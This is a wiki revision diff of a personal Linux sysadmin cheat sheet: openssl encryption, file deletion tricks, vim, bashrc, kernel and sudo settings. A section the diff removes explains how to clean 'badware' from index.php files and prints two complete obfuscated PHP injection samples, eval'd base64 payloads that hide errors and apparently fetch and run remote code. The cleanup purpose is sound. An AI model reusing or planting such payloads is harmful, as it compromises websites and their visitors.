Difference between revisions of "System/DayToDay"

From LunaSys
Jump to navigation Jump to search
 
(7 intermediate revisions by the same user not shown)
Line 1: Line 1:
== Remove by inode ==
+
== Encrypt/Decrypt a file ==
  
  find . -inum 782263 -exec rm -i {} \;
+
Encryption
 +
 
 +
cat <file> | openssl enc -aes-256-cbc -salt -pass pass:$pass > <enc_file>
 +
 
 +
Decryption
 +
 
 +
cat <enc_file> | openssl enc -d -aes-256-cbc -salt -pass pass:$pass > <file>
 +
 
 +
== Remove special character files ==
 +
 
 +
2 simple ways:
 +
 
 +
rm -- <filename>
 +
rm ./<filename>
 +
 
 +
Or with a bulldozer, by inode:
 +
 
 +
  find . -inum <inode> -exec rm -i {} \;
  
 
== VIM ==
 
== VIM ==
Line 33: Line 50:
 
Defaults timestamp_timeout=20
 
Defaults timestamp_timeout=20
 
...
 
...
</pre>
 
 
== Remove badware in *index.php files ==
 
 
The following command:
 
 
<pre>
 
find . -name '*index.php' -exec sed -i "s|<?php\ /\*68066\*/\ error_reporting(0);\ @ini_set('error_log',NULL);\ @ini_set('log_errors',0);\ @ini_set('display_errors','Off');\ @eval(\ base64_decode('.*'));/\*68066\*/\ ?>||" {} \;
 
</pre>
 
 
Remove the following badware:
 
 
<pre>
 
<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaWYgKGlzc2V0KCRfUE9TVFsnY29va2llc19pJ10pKSB7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29va2llc19pJ10pKTt9CiR6Mzc9InN0YXRzIjsKJHVhMz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1MzcgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJNYWMiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICR1MzcpIC4gIi9pIiwgJHVhMykpIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkpCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJzdGF0cyIpLHRpbWUoKSsxNzI4MDApOwokaWQ9IjlvOGFhODhsOGVqaTEycmpmNWtva2VteGZ5amx6MXQiOwokdXJsPSJodHRwOi8vaWZyYW1lc2hvcC5uZXQvc3RpLnBocD9pZD0iLiRpZDsKJGlmcmFtZT1AZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOwppZiAoJGlmcmFtZSkgZWNobygkaWZyYW1lKTsgCn0K'));/*68066*/ ?>
 
</pre>
 
 
<pre>
 
<?php /\*68066\*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/\*68066\*/ ?>
 
 
</pre>
 
</pre>

Latest revision as of 14:25, 8 May 2013

Encrypt/Decrypt a file

Encryption

cat <file> | openssl enc -aes-256-cbc -salt -pass pass:$pass > <enc_file>

Decryption

cat <enc_file> | openssl enc -d -aes-256-cbc -salt -pass pass:$pass > <file>

Remove special character files

2 simple ways:

rm -- <filename>
rm ./<filename>

Or with a bulldozer, by inode:

find . -inum <inode> -exec rm -i {} \;

VIM

set viminfo='1000,f1,<500

.bashrc

export HISTFILESIZE=3000

alias l='ls -aCFlh'
alias u="apt-get update"
alias ug="apt-get upgrade"
alias i="apt-get install"
alias r="apt-get remove"
alias s="apt-cache search"

kernel parameters

For Compact Flash:

libata.dma=0 ide=nodma ide-core.nodma=0.0 ide-core.nodma=0.1

sudo

...
Defaults timestamp_timeout=20
...